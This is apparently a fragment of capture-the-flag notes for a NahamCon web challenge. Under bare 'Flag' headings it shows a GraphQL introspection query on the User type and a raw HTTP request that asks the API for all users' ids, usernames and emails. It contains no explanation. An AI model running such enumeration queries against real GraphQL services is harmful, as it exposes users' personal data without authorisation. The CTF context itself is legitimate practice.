Flag 1

Flag 4
{"query":"query {__type (name: \"User\") {name fields{name type{name kind ofType{name kind}}}}}"}POST /api/v2/graphql HTTP/1.1Host: challenge.nahamcon.com:30715User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brReferer: http://challenge.nahamcon.com:30715/settingsContent-Type: application/jsonContent-Length: 43Origin: http://challenge.nahamcon.com:30715Connection: keep-aliveCookie: PHPSESSID=1729767ea8c5e66643c2d74a93a039cePriority: u=4
{"query":"{ users { id username email } }"}